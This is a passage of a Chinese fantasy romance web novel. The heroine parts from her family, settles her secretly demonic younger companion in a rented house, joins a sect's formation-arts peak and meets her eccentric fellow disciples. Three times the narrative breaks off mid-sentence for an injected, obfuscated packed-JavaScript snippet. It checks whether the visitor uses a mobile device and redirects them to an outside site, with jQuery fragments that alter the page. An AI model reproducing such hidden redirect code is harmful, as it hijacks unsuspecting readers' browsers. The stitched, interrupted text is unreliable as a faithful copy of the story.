梁允汗颜,一时还真想不出什么反驳的话来:“这,这...” 殷照摆手:“行了,梁老爷你们出去吧,我和我徒儿说说话。” 梁允面上忿忿,似是觉得被拂了面子,但碍于殷照的身份又不敢多说什么,只得道:“走,书芸,我们先出去。” 待门被关上,殷照又换了幅面孔,真切地道:“徒儿,你受苦了啊。” 梁惜因解释道:“这确实是我自己主动要求的,住习惯了。”而且这院子经过修缮,比起之前来已是好上太多了。日子一久,倒真住出几分感情来了。 “习惯?这还能习惯?你这是住了多久啊?”殷照越想越气,“我就该早些把你带走,还有那梁允,先前我就不该对他那么客气!” 梁惜因深觉不能再在这个问题上纠缠下去了,边请他到屋内坐着边转移话题道:“殷峰主,我们何时出发?” 殷照依旧拧着眉,但还是顺着她的话说:“随时都可以,你准备得如何了?” “都收拾好了。”梁惜因倒了一杯温水递过去,“我这也没什么好招待的,殷峰主见谅。” 殷照试了试温度,一饮而尽,“无妨。”他这一进屋,自是也看到了屋内的重霄。对着面前坐着的两人,他禁不住又感叹道:“你们这姐弟俩啊...” 他没有再说下去,而是对梁惜因道:“先让为师试试你的根骨。”说着,他站起身,将手虚放在梁惜因头顶。 梁惜因只觉周身涌入了一股极为醇厚的灵力,哪怕稍纵即逝,她也依然感到神清气爽,精神为之一振。 殷照收回手,满意得不能再满意了:“根骨极佳,益于修道。” 他又对重霄跃跃欲试起来:“梁公子也要同去吗?那我再试试梁公子的。” 梁惜因拦住他:“殷峰主,我弟弟自幼体弱,并无修道的打算。”即便重霄说过他的魔族身份轻易不会被发觉,她也还是不敢冒这个险。 真要有个万一,她怕殷峰主直接就地起阵驱魔了。 殷照闻言收回手,颇有些遗憾地说:“如此也便罢了。”他好像是听说梁府有个体弱多病的小公子来着。 算了,做人不能太贪心,此次能寻一个奇才徒弟回去已然是意外之喜了。 只是他看着对面那朗目疏眉的梁公子,总觉着有种说不上来的怪异感,尤其是与他那双幽深的墨色瞳孔对上之时,心内竟隐隐生出了几分慌乱。 重霄此前已做过掩饰,殷照自是看不出什么来,只道是自己多思了。一个半大少年而已,能有什么问题?他接着说:“我还有些事要处理,就不久留了。我会在院中留一个缩地阵,你们随时都可以过来。” “多谢殷峰主。”梁惜因道,“对了,不知殷峰主身上可有携带护身符?” 护身符与避魔符不同,后者主要起警戒作用,前者则能防范一般的妖魔鬼怪,提升气运,关键时刻还能有保命奇效。 殷照不知她为何突然提起这个,依言在袖中掏了掏:“应该还有剩的...有了,还剩最后一张。” 梁惜因伸手接过,由衷道:“多谢殷峰主。” “小事,不过徒儿你要这个作甚?送给那梁三姑娘?” 梁惜因双眼微张,意外道:“殷峰主如何得知?” 殷照扬眉:“看出来的。大堂中那么多人,也就她和梁允跟了过来。梁允那是出于礼数不得不为之,她嘛,就只能是出于关照了。” “殷峰主眼力不错。”梁惜因微微一笑。 一口一个“殷峰主”听得殷照心里怪不是滋味,他安慰自己,这到手的徒弟还能跑了不成?等她到了宗门便能行拜师礼了。 他走到院中,随手从地上抓起一把石子,以灵力掷向不同方位。接着连石子都没用,直接在半空中用灵力凝出阵纹,顷刻之间便成了两道缩地阵。 他踏入后一个阵门中,身影渐渐淡去,还不忘说道:“乖徒儿,为师在天璇峰等你哦。” 梁惜因:“......知道了。” 她仍旧站在院中,在心里琢磨着殷照布阵之法。初学者布阵,往往都要细致全面地画好每一处阵纹,耗时长不说,还容易出错,于是后人便开始使用阵盘。把提前画好的阵纹存于阵盘中,需要用时则以灵力驱动,基本能保证万无一失,且阵纹在阵盘中得到灵力滋养,威力也得以加大。 学有所成者则开始使用阵石。阵盘需要用灵力来维系,但阵石却是随处可见,随取随用,易于隐藏。真正修行到一定境界之人也不会在意阵石的成色灵气,随便什么石子都能用到极致。 再往后便不需再借助这些外物了,而是用自身凝聚出的灵力绘出关键阵纹,转瞬阵成。至于阵修的最高境界,则是以意布阵,阵随心动,直接通过意识来操纵千变万化的阵法,真正达到人阵合一。 这些她以往只在书中看到过,如今是亲眼见识上了。惊叹完后,她想起梁允和梁书芸还在院外,便再次打开了院门。站在门口的梁书芸应声回头,笑道:“四妹。” 梁惜因张望着说:“父亲呢?” “阿爹在朝中还有要务傍身,已是先行离开了。” “这样啊。”有要务是一回事,主要估计是不想留下来面对殷照。想想也是,堂堂梁令公,何时在人前这般丢脸过? 梁书芸也问她:“怎么不见殷峰主?” “殷峰主方才也布了个阵离开了。” 梁书芸这下便无顾忌了,她呼出一口气,真心说:“四妹,你马上便要入玄晖宗修行了,这可是天大的喜事啊。” “我们梁家还从未与仙门有过牵连,四妹你可是头一个...”她突然意识到一件事,声音逐渐低了下去,“只是我们姐妹不知何日才能再相见了。” 一入仙门,便要与凡尘划清界限了。 梁惜因不忍见她神色落寞,执起她的手说:“我会时常与三姐来信的。三姐先前不是说好奇修士的生活吗,我到时都在信中写与你看可好?” 梁书芸果然又笑了起来:“如此我可要天天等着你的来信了。”那将会是她枯燥乏味生活中的唯一盼头。 梁惜因接着说:“还有件事需麻烦三姐。下房内有一名唤春雨的丫鬟,曾多次帮助过我。待我走后,还望三姐能多多照料她。” “这有何难,我回去便和娘说一声,把她调到我院中来。” 交待完这事,梁惜因便再无牵挂了。她将刚刚讨要来的护身符放到梁书芸手中:“三姐,这护身符你拿着,最好是能随身配着。” 梁书芸有些稀奇地瞧了瞧:“放心,既是你给我的,我自会好生保管。”她发觉身上也无什么东西可以回赠,便把手腕上的碧玉镯褪了下来,“四妹,这个送与你。” 梁惜因当即拒绝道:“三姐,这怎么行,我听母亲说这镯子是你从小便戴着的。”而且这与护身符相比实在是贵重了些。 梁书芸不容她推拒,直接帮她戴上了,半开玩笑道:“拿着吧,一点心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358968|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,这样四妹以后看到它便能想起我来了。” “此去,一路顺风。” 梁惜因只得接受,扬唇笑道:“那就借三姐吉言了。” 送走梁书芸后,梁惜因带上备好的行装,和重霄一同站在了院中。她凝出灵力注入到地面,缩地阵生效,几息之间,眼前就换了副场景。 不再是破败的院墙和四四方方的天空,而是熙攘的人流和喧嚣的人声,虽比不上皇城的繁华,但那粉墙黛瓦、小桥流水也别有韵致。 不远处可见一座仙山,云雾缭绕,青峰隐隐,绵延不绝。早便闻位于陵州的玄晖宗靠近城郊,极为易寻,与当地百姓的关系也很是融洽,任何人遇到异象皆可上山求助,今日一观果然不假。 她抚了抚腕上的玉镯,望向身侧的少年。不论前路如何,至少她身边都有人同行。 她并没有立刻去往山门,而是先去给重霄寻了个住处。客栈并非久居之所,且人来人往,鱼龙混杂,风险太大。最好是能买一处院子下来。 寻了半座陵州城,梁惜因才终于定下一间环境和价格都适宜的院落。等办完一系列复杂手续后,梁惜因摸了摸空瘪的钱袋,心中流下两行清泪,这可真是一朝回到解放前啊... 陵州的物价虽比不上皇城,但这也基本耗尽了她这些日子省下来的,包括临走前梁府给的银两。哀叹过后,梁惜因很快又振作起来,钱财不过身外之物,不值一提,不值一提。 她推开院门,回眸对重霄笑道:“阿霄,往后这便是我们的新家了。” “好。”重霄也被她的笑意感染。只要是与她一起,任何地方都可被称作家。 在院中简单整理一番后,二人便去往城中一家名为“见春风”的酒楼用膳。梁惜因捻起一块桂花糕入口,“这陵州的点心,小巧精致不说,味道也是不输皇城。” 店小二在旁听了,插上一嘴道:“那是自然,姑娘,这可是我们店祖上传下来的手艺,全陵州城只此一家。” “是吗?”梁惜因随口说。 “是啊姑娘,别说是我们这些凡人了,就连那些仙长对我们店也是赞不绝口啊。”见店门口又有新的客人,点小二匆匆丢下一句“二位慢用”后就去招待了。 重霄见梁惜因又捻起一方枣泥酥,便问她:“姐姐喜欢这些?” 软糯香甜的味道在唇齿间漫开,梁惜因的双眼不自觉地微微眯起,不答反问道:“阿霄不喜欢吗?” “我对吃食并无特别喜好。”重霄说着,伸手抹去了她嘴角沾上的碎屑,不经意碰到了梁惜因的双唇,触感温软。 他按下心中异样,把手放到桌下,摩挲着指腹,“若是姐姐喜欢,我也可以做给姐姐吃。” 梁惜因很是惊奇:“阿霄你何时会下厨了?” “我可以学,想来并不难。” 梁惜因笑道:“那我可就等着品尝我们阿霄的手艺了。” 用过饭后,也是时候该去玄晖宗了。两人慢慢踱到山门口,不论再怎么拖延时间,分别的时刻也终是到了。 面前是青山巍巍,身后是故人依依。梁惜因忽然意识到,自她捡回重霄的那日起,他们二人便从未有过一日的分离。 重霄轻声催促她:“姐姐,快去吧,我等你回来。” 一路上梁惜因已叮嘱得够多了,剩下的钱也全部交给他了,是以此时只是简单回道:“好。”她转身,一步一步走向山门。 她不知道的是,这日重霄在原地停了很久,直到再也看不到她的身影了也不曾离去。他恍惚间觉得,他曾经似是也这样目送过梁惜因离开,眼前的场景是如此熟悉,尤其是那道背影,熟悉得令他心痛。 天色渐暗,周围的人群来来往往,不少人都对他投来视线。重霄不予理会,他动了动僵直的双腿,回身向新买的院落中走去。 无妨,他在心里对自己道,她会回来的。他要回去等她。 11. 拜师 梁惜因在山道上走了有一会才来到了宗门前。门前的小童远远地看见她便迎了上来:“是梁姑娘吗?” 梁惜因点头:“是。” “殷峰主已交待过了,我这便带姑娘去天璇峰。” 梁惜因跟着小童,目光所触之处,浮岚飞翠,溪流入涧,宛若仙境。所遇见的宗门弟子皆身着白色宗服,身姿挺拔,气质出尘,偶有与梁惜因对上视线者也都报以微笑,梁惜因一一笑着回应了。她甚至能从道旁的一草一木中感知到丰沛的灵气,完全不是民间那点稀薄灵气所能比的。 玄晖宗内有七大峰,分别以北斗七星命名。每峰所修不同,如天璇峰主阵,天玑峰主符,天权峰主刀...现任掌门谢既微所在的天枢峰则是主剑,称得上是天底下所有想要修剑之人的向往之处。 小童把梁惜因带至峰下就离开了,这时从不远处走来一人,玉冠束发,面目清朗,嘴角笑意温润,令人不自觉心生亲近。 他温声问道:“可是梁姑娘?” 梁惜因颔首称是。 “跟我来吧。”他转身踏上面前的石阶,边走边对身后的梁惜因道:“我是你大师兄谢淳,往后我们便是同门师兄妹了。” 梁惜因立马说道:“原是大师兄,方才失礼了。” 谢淳轻笑道:“你我之间何必言礼。小师妹放心,天璇峰内弟子虽少,但都是好相与的性子。你初来乍到,不论是修道还是平时有什么难处,都可以来寻我们。” 梁惜因闻言安心不少,只是她还有个问题忍不住想问,她犹疑着喊了一声:“大师兄...” 谢淳闻声回头:“怎么了,小师妹?” 梁惜因望着那一眼看不到头的石阶,双腿发酸:“我们还要走多久啊...” “很快了,师妹。再说这路上所见之景难道不令人心旷神怡吗?” “是很美,但是...”梁惜因看了眼周遭,云笼远岫,绿林扬风,“峰脚下没有可以直接上去的阵吗?” “当然有,”谢淳嘴角笑意不变,“只是师妹你第一次来,自是要好好感受番我们天璇峰的景致,印象也能更深刻些。” 梁惜因:“......”这印象确实有够深刻的。 她深吸一口气,告诉自己这是大师兄,这么做一定有他的道理。然后认命地继续爬石阶。 期间她多次问道:“师兄,还要走多久啊?” 谢淳的回答从未变过:“快了,师妹。” 梁惜因:“......”我真是信了你的邪。 不知过了多久,两人终于到了峰顶。梁惜因扶住一棵树,只觉双腿肿胀外加腰酸背痛。反观谢淳则同没事人一样,耐心站在一旁等她平复呼吸。 耳边传来一道张扬之声:“怎么样,师弟,我就说师兄定是带着她走石阶上来的。” 梁惜因站直身子,只见说话的那少女样貌明艳,弯眉杏目,周身气度不凡。在梁惜因端详她的同时也在抱着双臂、扬着下巴打量她:“这就是师尊说的奇才?瞧着弱不禁风的。” 她身侧的男子手持一鎏金玉扇,长发随意落在肩头,一双桃花眼似有春水盈在其间,清雅矜贵。此刻正轻启薄唇,似笑非笑道:“师兄,你这般待我们的天才师妹,也不怕师尊发火吗?” 梁惜因:“......”谢淳说的那个“好相处”和她理解的是同一个意思吗...? 谢淳不以为然:“师弟这是何话,当年我不都是这么带你们上来的吗。”他上前给梁惜因介绍道:“小师妹,这是你师姐燕明昭和二师兄柳甫畅。” 燕明昭和柳甫畅的神情有一瞬的扭曲,似乎也是想起了某段累得要死的回忆。 燕明昭用眼角睨了眼梁惜因,随后转身道:“既然到了,那便去主殿吧,师尊正候着呢。” 谢淳走在梁惜因身侧,在她耳边低声道:“小师妹你别看她这样,其实她一直都想要一个师妹。刚听师尊说起这事时,就属她最高兴。” 燕明昭猛地回身,脸色涨红:“喂!我听到了!” 柳甫畅以扇掩唇:“噗。” “你又笑什么笑!”燕明昭瞪向他,在柳甫畅一叠声的告饶中又慢慢将视线移到梁惜因身上。 两人目光相接,几息之后,燕明昭跺了跺脚:“哎呀!烦死了!”说完又大步向前走去,把几人甩在了身后。 谢淳对她眨了眨眼,就像在说:你看吧。 梁惜因会意一笑,师姐原是这般性子。 在去往主殿的路上,梁惜因总觉着这天璇峰上的景色有种莫名的熟悉感。她摇了摇头,只当是这玄晖宗内的景色都大同小异,许是在来时的路上见到过相似的。 开阔明亮的主殿内,殷照坐在上位,见他们几人来了,满意地道:“很好,人都来齐了,那便开始吧。” 等等,梁惜因看向站在一侧的三人,这就...到齐了? 梁惜因嘴角略一抽搐,她突然就有些明白燕明昭为什么想要个师妹了。 殷照在上方简要说了一遍宗内需遵守的规制,随后一挥衣袖,他和梁惜因面前便各出现了一盏茶。 梁惜因接过这拜师茶,然而刚一入口,她就控制不住地皱起眉来。又苦又酸又涩,这玩意真的是茶吗?? 她强忍着把这口茶咽下去,用目光去询问殿内站着的另三人。 结果燕明昭和柳甫畅一个向右看,一个向左看,纷纷拒绝与她目光接触,仔细看还能看到他们脸上强忍的笑意。 梁惜因:“......” 她抱着最后的希望看向谢淳,谢淳倒是不闪不避,满脸温和笑意,甚至用嘴型催促她道:快喝啊。 梁惜因深吸一口气,移回目光。你们天璇峰的,都是狠人。 眼见殷照早已将手中的那盏茶一饮而尽,梁惜因不再犹豫,心下一横,将余下的茶水都喝尽了。 无暇顾及口中那一言难尽的味道,她俯身对前方的人拜道:“弟子梁因,见过师尊。” 殷照脸上的笑止都止不住:“起来吧。”他将备好的身份令牌和宗服递与她,“乖徒儿,从今日起,你便正式是我们天璇峰的弟子了。” 他又对殿侧三人说:“你们几个好好照顾新来的师妹,为师还有要事在身。”说完就脚步欢快地走出了主殿。 柳甫畅和燕明昭嘀咕道:“肯定又是喝酒去了。” “逮着这么件喜事,又有理由给他喝个一醉方休了。”燕明昭深表赞同。 谢淳上前宽慰她:“小师妹,那茶中添了碧心草和云凝叶,或许味道是怪了些,但有利于体内灵气的运转,还能祛除浊气。” 梁惜因试着运转了□□内的灵力,确实比先前更为通畅了些,“果真如此。”她奇道。 “我那里还有些原料,回去便送与师妹泡茶。” 梁惜因:“......”她想了想那味道,刚想拒绝,柳甫畅就笑了几声道:“师妹啊,你别听他说,那玩意谁爱喝谁喝去。” “让二师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358969|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送你点见面礼。”他将手探入乾坤袋中,取出几枚晶莹剔透的石头放到她手中,“一点心意。” 梁惜因端详了番,真切道:“好漂亮,谢谢师兄。” “师妹你别跟他客气,这些玩意他多得是。”燕明昭将从袖中取出的白色瓷瓶递到她面前,又偏过头不看她,说:“这个你拿回去,能缓解身上酸肿疲劳的。” 梁惜因接过,由衷笑道:“多谢师姐,师姐真是用心。” 燕明昭彻底转过身去背对着她:“有什么好谢的...走,我带你去你的住处。” 天璇峰弟子稀少,是以能够一人一间小院。梁惜因走进自己的院落中,木制小屋清幽雅致,屋后一片竹林,不时随风传来飒飒之声,听着便令人心旷神怡。 “到了,往后你就住这了。”把人带到后,燕明昭就准备离开了。她人已走到了门口,又回身补充道:“对了,我就住你隔壁的院子。” “太好了,那我以后可以经常去寻师姐吗?” “随...随便你。”燕明昭耳根染上薄红,快步离开了。 梁惜因轻笑,边整理自己的东西边想着:这宗门生活,还是很值得期待的。也不知重霄那边怎么样了,按玄晖宗内的规矩,弟子每旬都可下山一次。这般看来,下次见面要等到十日后了。 也是奇怪,这才分开没多久,她就有些想念他了。梁惜因按捺下心中的情绪,何必多思,他们总归是能再见的。 次日,梁惜因来到练功堂,谢淳递给她一做工精巧的圆形木制阵盘,说:“小师妹,这阵盘是用若木制的,颇具灵气,你且先用着。” “多谢大师兄。”梁惜因伸手接过。 “阵盘的使用极为讲究,初学者极易出错,我来教师妹如何用。”他正要开始指点,就见梁惜因已用灵力驱动起阵盘。 “我知道,阵盘上的纹样实则就是一张八卦图,以不同量的灵力驱之,可对其中所纳之阵进行操纵,或是释放,或是更改。动用的纹样越多,则代表使用的阵越是复杂。”说着,她就在谢淳面前演示起来。 谢淳:“......”不仅说得完全正确,操作上也找不出一丝差错。难怪师尊说是奇才...所以这还有什么好教的啊?? 他努力维系着嘴角的笑意,问她:“小师妹,你是在何处学到这些的?” “...在民间的书上。”书上当然不可能记载得这么详细,但她总不能说这些知识是自然而然地出现在她脑海中的吧,谁会信啊? “民间竟还有这等奇书,下次下山我也要寻来一观。”谢淳大受震撼。 你能寻到才怪...梁惜因换了个话题道:“怎么不见师尊?” “多半是昨日酒喝多了,现在还没醒呢。”燕明昭这时也到了练功堂,身后不远处还跟着柳甫畅。 “那我们是自行修炼吗?”梁惜因问她。 “不错,基本上都是如此。师妹你要习惯,师尊他一月中能有大半个月都是醉着的。” 好家伙,所以你们天璇峰都是放养的啊? 谢淳清了清嗓子,试图挽回一点自家师尊的形象:“不过师尊也会随处在峰内留下阵法,以历练解阵的能力。” 话音刚落,刚一脚踏入堂中的柳甫畅就消失了。 燕明昭见怪不怪:“喏,就像这样。” 隐约间还能听见柳甫畅的愤懑之声:“为什么又是我啊!!” 梁惜因:“......”好、好阴损的历练方式。 12. 下山 一旬的时间倏忽而逝,梁惜因换上常服,下山去见重霄。 途中路过一玉石铺,想起初见时柳甫畅给的几颗漂亮石头,梁惜因在铺子前停住了脚步。她不是很懂这些,但那些石头看着便是品貌不凡。 走进店内后,她又迟疑起来,说不定是她想多了,万一那只是普通的石头呢?但店家已经迎了上来:“这位客官,是来买还是卖啊?” 梁惜因只能硬着头皮掏出那几枚石头:“我想看看这几颗的品相。” 店家小心地用布接过,一言不发的仔细打量着。 梁惜因微微屏住呼吸,不会真就是普通石头吧? 旋即就听店家突然大喊一声:“姑娘啊!!” 梁惜因吓了一跳,“怎、怎么了?”不至于要将她赶出去吧? 店家猛地凑上前来,颤颤巍巍地指着掌中的石头,“这可是极品和田红玉啊!!还有这颗,我还从未见过如此完美的羊脂玉...包括这黄水晶也是当世稀有啊!” 梁惜因:“......啊?” “姑娘,你这随便一颗都是价值千金啊!”店家两眼都舍不得从掌上移开,饶是他在玉石一行从事了大半辈子,也从未一次性见过这么多品相极佳的玉石水晶。 ...这么值钱的吗?梁惜因也是惊住了。 “姑娘你打算卖这些吗?我这就去联系我那几个同行。”他一家铺子可买不下这许多。 梁惜因拦住他:“谢过店家了,不过我暂时还不打算卖。”毕竟是二师兄送与她的,不到很是缺钱的时候,梁惜因还是想留着。 店家满脸遗憾:“一颗都不卖?” 梁惜因忍痛道:“对。” 她在店家的连声挽留中走出铺子,想起燕明昭那句“他那里多的是”,心内恍惚,这二师兄到底是多有钱啊! 她迷迷糊糊地走到重霄的住处打开院门,重霄听到动静走出屋,本来冷冽的目光在看清梁惜因的一刹顿时被惊喜取代,“姐姐!” 他快步走上前,发觉梁惜因神色不太对,便问她:“怎么了,姐姐,可是身体不适?” “无碍。”梁惜因握住重霄放在她额上试温度的手,认真地看着他说:“阿霄,你知道一夜暴富的感觉吗?” 重霄:“?” “没什么,”梁惜因摇了摇头,拉他进屋,“你这些日子过得可好?没遇到什么奇怪的人吧?” “没有,一切都好。只是...” “只是什么?” “只是太想姐姐了。”重霄定定地注视着梁惜因,像是要把这些天没看的都补回来。 梁惜因心下一软:“我又何尝不是,只是按宗门规定,一旬才能下山一次。” 这么久。重霄眸光微黯,嘴上依旧安慰梁惜因道:“无妨,姐姐。一旬而已,我就在山下等你。” 梁惜因轻叹一声,若重霄不是魔族就好了。当今这世道,魔族别说是入宗门修行了,不被人人喊打都是轻的。但重霄于阵一道上的天赋其实并不比她差。 她从乾坤袋中取出几册书:“这些是宗门内的书,定然比民间的要靠谱许多,阿霄你也看看。” “好。”他接过书册,又旋身走向厨房,“对了,我给姐姐蒸了桂花糕。” “真的吗?”梁惜因惊喜道。她本以为那日重霄只是随口一说,没想到当真记在了心里,而且还真做出来了,于是满怀期待地跟在他身后进了厨房。 重霄打开蒸笼,糕点的清香便伴着那氤氲的白汽一同溢了出来。梁惜因见那点心白白胖胖、卖相极佳,按捺不住地想拿一块尝尝味道。 重霄止住了她的动作:“姐姐,小心烫。” 说罢,他从蒸笼中拿起一块,递到了梁惜因唇边,“姐姐,尝尝看。” 梁惜因一愣:“不是说烫吗?” 重霄看着她微怔的模样,轻笑出声:“无妨,我不怕烫。” 梁惜因将信将疑,她咬了一口面前的桂花糕,入口绵软,甜而不腻,味道还有些意外的熟悉,“好好吃!”她不由赞道。 重霄展眉:“姐姐喜欢就好。” 梁惜因就着重霄的手吃完了这块点心,“想不到阿霄的厨艺这么好。”她目光下垂,瞥见重霄将方才喂她的那只手藏在了宽大的袖袍之下。 她眉头轻蹙,伸手就要去握他。重霄反应极快地向后一躲,“姐姐。” “听话。”梁惜因板着脸道。 重霄果然没再有动作,任梁惜因托住他的手放到面前。 不出所料的,梁惜因在他指腹看到了被烫的红痕,在白玉般的肌肤上格外醒目。 梁惜因眉心拧得更紧:“我就说,哪有人不怕烫的,当我傻吗?” “姐姐不傻,我傻。”重霄半开玩笑道。 “算你有点自知之明。”梁惜因想拉着他到木盆边泡会凉水,重霄却没跟着移动脚步。 梁惜因疑惑望向他,就见重霄眸中笑意浅浅:“无碍,姐姐吹一吹就好了。” 梁惜因盯着他,怀疑地说:“...真的吗?”好像是有听说过这种方法。 不敌重霄那满目期待的神色,梁惜因捧住他的手,轻而又轻地吹了两下。 轻柔的气息拂过指尖,绵绵麻麻,令重霄忍不住蜷了蜷指尖。 梁惜因抬头看他,满脸关切:“如何,有没有感觉好些?” “好多了。”恰巧重霄也在看她,两人目光相接,她能清楚的从重霄眸中看见自己的倒影。梁惜因心中没来由的一悸,她匆忙移开视线,随口说:“诶,阿霄,你是不是又长高了?” 救命,好生硬的转移话题... 重霄收回手,眼底笑意更甚:“不好吗?这样便能快些保护姐姐了。” “好是好,不过我保护阿霄也不错。”她想了想还是不放心,又问:“你的手...当真无事了?” “自然。”重霄将手摊在她眼下,只见指腹光洁如初,哪还有一点被烫到的痕迹。 梁惜因颇感惊奇,这“吹一吹”的效用这么大的嘛?思绪一转,她想到重霄身为魔族,恢复力本就不同常人,初见时他手上的伤痕也是隔夜便好了。 等等,梁惜因察觉出了些许不对劲来。既然恢复力这么强,那这小小的烫伤又为何会留下痕迹... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358970|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重霄轻咳一声:“姐姐,快吃吧,要凉了。” “啊,好。”思绪被打断,梁惜因也就没有再想下去,把桂花糕装盘后端到了厅堂中的桌上。 “阿霄,你是如何得知我今日回来的?”梁惜因咬下一口桂花糕。她想着给重霄一个惊喜,是以事先并没有告知他。若是她不来,这点心不就白备了吗? “我猜的。” “这样啊,”好像也只有这种可能性了。梁惜因又弯着笑眼问他:“那这算不算是我们心有灵犀?” 重霄凝望着她的笑颜,“自是算的。”其实梁惜因哪一天来都一样,他这十日里,每一日都会做好点心等着她。蒸笼中不同样式的点心重复着由热变冷、由软变硬。但这并不重要,只要她会来,一切便都不是白费功夫。 梁惜因和重霄随意聊着,分享着近日的见闻。感觉也没说多久,漫天的霞光就透过窗户洒了满地。梁惜因起身说:“阿霄,我要回去了。” 重霄面上的落寞一闪而逝:“我送送姐姐。” 他一步步的随她走到门口,梁惜因不用回头就能感受到他的视线,心中也生出了几分不舍。她宽慰自己道:十天而已啊!干嘛要这么伤感! 她回身抱住身后之人,感受到重霄的身体有一瞬间的僵硬。 梁惜因唇角含着笑,对他说:“阿霄,等我回来。” 她没有让重霄出门相送,独自走在回玄晖宗的路上。赤红的夕阳渐渐被夜色吞没,银白的冷月在空中静静地散发着光辉,正是行人归家、倦鸟回巢之时。梁惜因怕赶不上宗门宵禁,逐渐加快了脚步,而这一加快,她就听见身后隐约的脚步声也跟着加快起来。 梁惜因试着放慢步子,那杂乱的脚步声同样也慢了下来。她心生警惕,猛地止住步子回头道:“谁?!” 身后几人俱是一惊,反应过来后又哄笑几声,围上前来。为首的男人上下扫了她几眼,不怀好意地搭话道:“小娘子,天都要黑了,怎么还一个人在外面啊?” 他那眼神看得梁惜因浑身不适,她往后退了几步,说:“不劳你们费心。” “别走啊,小娘子,哥几个送你回家啊。”男人说着就伸手要抓梁惜因,梁惜因侧身一避,同时从袖中取出一张符纸。 此次下山匆忙没带阵盘,但必要的几张防身符还是备着的。 她刚要有动作,就听身后响起一道喊声:“诶,前面的!干什么呢!” 随之而来的是数道官兵的身影,人人手持一盏灯笼,在笼罩大地的黑暗中,那光线虽然微弱,却已足够让人安心。 一见是巡防的人来了,这些个流氓纷纷脚底抹油,溜得飞快。几个官兵见状,立马追上前去:“别跑!” 余下的官兵则问梁惜因道:“没事吧,姑娘?” 梁惜因不动声色地将符放回袖中,行了一礼道:“无事,多谢各位大人了。” “快回去吧,姑娘,过会夜深了更不安全。”官兵最后叮嘱了她一声,继续巡防去了。 梁惜因松了口气,她看了眼天色,匆匆跑了起来,完了完了,这下怕是真要赶不上宵禁了。 13. 往事 玄晖七峰中每峰都建有饭堂,只是因着天璇峰弟子寥寥,饭菜也就备得简单了些,来来回回就是那些菜色,是以去其余六峰用饭便成了常事。 这日梁惜因来到天枢峰,作为主峰,天枢峰内的建筑自是更为宏伟壮丽,处处彰显着仙门大宗的恢弘气度。其间来往的弟子大多腰间佩剑,步履轻盈。 饭堂内人声熙攘,梁惜因打好饭菜,正要去寻一坐处,就听身后有人唤道:“梁姑娘?” 梁惜因循声回头,原本不是很确定的杜昱顿时面露惊喜:“梁姑娘,真是你啊!” 梁惜因只觉这人分外面熟,她思索须臾,恍然大悟道:“是你啊,剑鞘哥!” 杜昱走过来的脚一滑,险些连人带饭和地面来个亲密接触,好在最后及时稳住了身形,“你怎么还记得这事啊?!”他简直无力吐槽。 梁惜因笑了笑,刚刚下意识便这么唤了。她复又出声道:“杜公子。”和他在一处空桌上相对而坐。 两人距离拉近,杜昱自然注意到了她身上的宗服,顿时惊道:“梁姑娘,你何时入了玄晖宗?还是天璇峰的?” 梁惜因并不奇怪他能看出来,玄晖宗的宗服虽统一为白色,但每峰的衣服纹样却各不相同,天璇峰所用的便是方棋纹。 “就在前些日子。”她答道。 “那你以后可就算我师妹了,”杜昱扒了口饭,扬眉道:“我就说梁师妹看着就不像一般人,果然如此,阵法可不是什么人都能学的。” 梁惜因跟着改口道:“杜师兄何出此言?” “这东西看天赋啊,不像学剑学刀这些你多练练总能有成效的。而且自那件事后,学阵的人也是越来越少了。” 确实,而且阵修还要学符、学绘制,就等于在现世选了个又冷门又难学的专业。不过...“那件事?哪件事?”梁惜因不解道。 杜昱正啃着鸡腿,闻言抬眼看她,语气惊讶:“梁师妹你不知道?” 他张望着四周,面露难色:“这事嘛...此处人多眼杂,不好说。反正修仙界基本没有人是不知道这事的,你不妨回去问问你师兄师姐。” 梁惜因本就不是什么好奇心旺盛之人,更何况他都这样说了,便应了句:“好。” 杜昱又凑近和她感慨道:“不过你们天璇峰虽然人少,但个个都不简单啊。” “二师兄很有钱我是知道的。”梁惜因又想起了那日在玉石铺的经历。 “岂止是‘很有钱’啊!”杜昱一拍桌子,把对面的梁惜因唬了一跳,“我真的丝毫不怀疑,他家能把整个玄晖宗都买下来!” 梁惜因夹菜的筷子顿了顿:“太夸张了吧...” 杜昱这时已用完了饭,他放下筷子,双肘撑在桌上,十指交叉,目光复杂:“梁师妹,你可曾听说过皇城柳家?” 皇城柳家,天下第一豪商,富可敌国。传言柳府中堆金积玉,库房中的珍宝藏品数不胜数,就连马厩都是用金子制成的。 梁惜因不自觉的放慢了吃饭速度,露出了和杜昱同样复杂的目光:“...我懂了。” 